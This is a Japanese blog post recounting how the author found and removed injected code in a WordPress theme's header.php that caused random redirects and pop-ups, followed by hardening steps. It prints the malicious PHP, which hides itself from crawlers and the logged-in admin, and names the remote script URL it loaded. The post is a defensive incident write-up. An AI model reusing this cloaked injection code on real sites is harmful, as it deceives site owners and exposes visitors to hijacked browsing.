WordPressのリダイレクト問題の経緯と対策について。

世界中のサイトでこの問題が報告されている、WordPressのサイトリダイレクト問題について、その症状および処置の流れ、対処方法についてご説明申し上げます。当サイトも永きに渡り抱えていた問題ですが、ついに解決へと至りました。

症状

当サイト(らいふはっきんぐどっとねっと)を閲覧する際に、頻繁に別のサイトにリダイレクトするという状況でした。
http://www.shoppingmonkey.co.uk/
http://www.thecrazytourist.com/
http://www.shoppingmonkey.co.uk/
その他いくつかのサイトに勝手に移動してしまい、閲覧がままならない状況でございました。
※リンク先は特にセキュリティ上問題のあるリンクではありません。

同期ブロガーであるLife Seeds様からも指摘をいただき、
特にHamachiya2様のはてなブックマークではこういうご指摘も頂戴しました。

記事本文とは関係ないけど、このページを開こうとすると10回に1回程度の割合で海外のサイトにリダイレクトされるね。広告におかしなものが紛れ込んでるのかな / あったこれだhttp://www.seo101.net/apntrack.js

DearWendyという海外のサイトでも、フォーラム上で話題となっております。

対策の流れ

http://www.seo101.net/apntrack.js

何らかのウイルスに感染し、このコードが仕込まれたと考え、当方で調査を開始しました。

Linuxを使用

調査は慎重を期すために、Linuxと呼ばれるOSが入ったマシンを用いて行いました。
Linuxとはサーバーによく利用されるOSです。本ブログを設置しているレンタルサーバーであるXserverでも利用されています。
Linuxマシンに、一度本ブログのすべてをコピーし、Xserverと同様、Linuxマシン上でサーバーを立ち上げることで、Linuxマシンだけでコピーされたブログを閲覧できるように設定しました。

本稿では詳しい原因は割愛させていただきますが、このように、Linuxによって、Xserverと近い環境を作ったうえで、Linuxの検索機能等、独自機能を用い調査を行いました。

プラグインにて問題コードを検索

当初はプラグインが何らかのウィルスに感染したのが原因であると考えており、プラグインを重点的に調査していました。

基本的には、

echo "apntrack.js"

という命令形でコードが隠蔽されていると考えられますが、これでは一瞬で検索可能です。そのため、悪意あるコードは、

echo "a"
echo "p"
echo "n"
echo "t"
echo "r"
echo "a"
echo "c"
echo "k"
echo "."
echo "j"
echo "s"

こういった形で命令を分けてくる可能性が生じます。
これはあくまで一例ですが、こういった込み入ったプログラムの場合は、簡単には検索に引っかかってくれなくなるので、最終は目視でのコード確認となりました。時間にしておおよそ16時間の確認時間を要しました。

プラグインで検索したらすぐに発見。

16時間もの時間を検索作業に費やしてなお、発見できませんでした。
体力の限界を悟り、諦めてクリーンインストール作業(WordPressの入れなおし)に移行しようとしましたが、その際ふと単純な可能性が頭をよぎりました。

「(ワードプレス)テーマをまだ見ていない…」

諦め半分でテーマのコードを確認すると、一瞬でそのコードを発見いたしました。
灯台下暗しとはまさにこのことです。失われた16時間が恨めしいです。笑

問題のコードの正体。

テンプレートにおける「header.php」にて、発見したコードは、以下のとおりです。(「コード1」とします。)
※ウイルスコードですので、決してコピーしたり実行したりしないようお願いいたします。

< ?php
$btt = false;
if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|slurp|spider/i', $_SERVER['HTTP_USER_AGENT'])) {
     $btt = true;
}
$ip = $_SERVER['REMOTE_ADDR'];
if ( is_user_logged_in() ) {
     update_option( 'ame_ip', $ip );
}
if ( !is_user_logged_in() && get_option('ame_ip')!=$ip && $btt==false) {
     echo "

特に込み入ったコードでもありませんでしたね。。
これにより、apntrack.jsという悪意のあるプログラムが実行され、実行されると、数回に1回は、本ブログとは無関係なサイトに移動してしまうという症状を引き起こします。

そして、

5月26日午後6時頃、当方で上記コードを削除いたしました。
なお、当方はLinux上から削除しましたが、WordPress内でも削除は問題なく行えます。参考までにheader.phpの箇所をお知らせしておきます。

header.php

これで事態は収束したかのように見えました。

f○ck!!ポップアップダイアログ問題発生!

しかしその後、Twitterによるご指摘で、ブログを閲覧した際に不適切なポップアップメッセージが表示されるとの報告がありました。

2015-05-26ウイルスに侵されたサイト - コピー
大変なことです。このままではサイトの信頼性の著しい低下に繋がります

一旦メンテナンスへ。

本件は重大な問題であると判断し、一度メンテナンスに入りブログの公開を停止いたしました。

コードを確認したところ、何と先ほどと同じ箇所に、上記とは異なる、以下のコードが再度書込まれていました。(「コード2」とします。)

※くれぐれも、決してコピーしたり実行したりしないようお願いいたします。

< ?php
$btt = false;
if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|slurp|spider/i', $_SERVER['HTTP_USER_AGENT'])) {
     $btt = true;
}
$ip = $_SERVER['REMOTE_ADDR'];
if ( is_user_logged_in() ) {
     update_option( 'ame_ip', $ip );
}
if ( !is_user_logged_in() && get_option('ame_ip')!=$ip && $btt==false) {
     echo "<script(不適切なメッセージ)>";
}
?>

これがまさに、不適切なポップアップメッセージを表示するコードです。

その後、再度問題となるコードを削除いたしました。

パーミッションの設定

コード1の削除後にコード2を書き込まれてしまったということは、コード2を書き込むウイルスの存在が示唆されます。

そこで、テーマの書換えを防止するため、ファイルのパーミッションを変更し、再度書き込みできないようにしました。

xserverにて提供されているファイルマネージャにて問題となるコードが書き込まれたファイル「header.php」を選択し、パーミッション変更にて、デフォルトの644から、444に設定変更し、そのファイルに外部からの書き込みができなくなるようにしました。

(LinuxやFFFFtpなどのファイルサーバーソフトでも変更は可能です)
名称未設定 2
その後Wordpressのキャッシュを削除し、コードに問題がないことを確認したうえでメンテナンスを終了しました。

問題はついに解決したかのように見えますが…

ひとまず事態は収束を見せました。

しかし、先述のとおり、コード1削除後、直ちにコード2が書き込まれてしまったことから、コード2を書き込んだ別のウィルス、あるいはコード1と同一ウイルスが、WordPress内の別の場所に存在する可能性があります。

現在、テーマに書き込み自体ができないようにパーミッション設定をし、内部への侵入可能性を無くすため、厳重なパスワードへ変更、およびWordPressとプラグインを最新に保つことで対処いたしましたが、これが恒久的な対処になるかは、今のところ判然としていないのが実情です。

これでもなおまた別の問題が発生する場合は、クリーンインストール、つまり、今使っているWordPressごと削除し、新しくWordPressを入れなおす他ないと考えている次第でございます。

サイトリダイレクトウイルス対策 まとめ

・問題となるコードはheader.phpに存在。
・コードを削除しても油断禁物!できればパーミッション設定が必要。
・パスワードをより厳重なものに変更する。
・WordPressやプラグインをこまめに更新する。

以上、反面教師として、ご参考いただければ幸いに存じます。

参考になりましたら
いいね!お願いします


ライフハック

【IT】「まとめサイト」終焉の序曲か 老舗サイトが相次ぎ閉鎖の謎(まとめ)
1: ばーど ★ 2018/02/07(水) 23:54:47.90 ID:CAP_USER9 インターネットに散らばる情報をテーマごとに収集する「まとめサイト」。2000年代後半ごろから続々立ち上がり、現在に至るまで多くのネットユーザーが利用している。 しかし2018年に入り、老舗まとめサイトの閉鎖が相次いでいる。 ■突然の閉鎖発表、過去記事も全て削除 09年に開設されたまとめサイト「あじゃじゃしたー」の管理人は18年1月26日、ツイッターで突如「ブログ閉鎖です。移転もないし復活もしません。長い間ありがとうございました!」と発表した。現在、サイトは閲覧できない状態となっており、過去記事も全て削除されている。 それから約1週間後の2月3日、今度は06年開設のまとめサイト「ぁゃιぃ(*゚ー゚)NEWS」 が更新の終了を報告。理由については「単純に更新時間の確保が難しくなってきた、というありふれたものです。我ながらフツーですが、終わるときはこんなものなんでしょう」と説明している。 ■まとめサイトに冬の時代? (略) 2018/2/ 7 1

続きを読む

【話題】5ちゃんねる、まとめルール変更で「アフィブログ死亡」の声も(まとめ)
【Google Adsense】11/9からads.txtを設置していないサイトに広告が表示されなくなったかも?【要修正】
まとめサイトでイラッとする瞬間(まとめ)
【まとめのパクリ】まとめサイト管理人なんやがマジで助けてほしいンゴ

「ブログ論 ~全てはアクセス増のため~」記事をもっと見る

ブログ論 ~全てはアクセス増のため~ 人気記事

【まとめサイト】ワイまとめ管理人、月7万PVほど稼ぐも収益ゼロ
ジーニーのガウル「GAURL」はあまり意味がない?導入は慎重に!
WordPressのリダイレクト問題の経緯と対策について。
【まとめのパクリ】まとめサイト管理人なんやがマジで助けてほしいンゴ
取得したドメインの設定ができない!その謎に迫ります。In Xserver
アマゾンアソシエイトに承認されるまでに行った、いくつかの方法。
ブログは1年でどのくらいのPVになるか。当サイト及び他サイトの事例をまとめてみました。
Google Adsenseの単価が低い時に気をつけたい3つの点とは。カスタムチャネルの文例も紹介。
グーグルアナリティクスのリアルタイムが見られない?「リソースを使用できません。後でもう一度お試しください。」
【SSL化】Amazon(amazlet it!)の画像リンクは、Search Regexで簡単に一括変換できます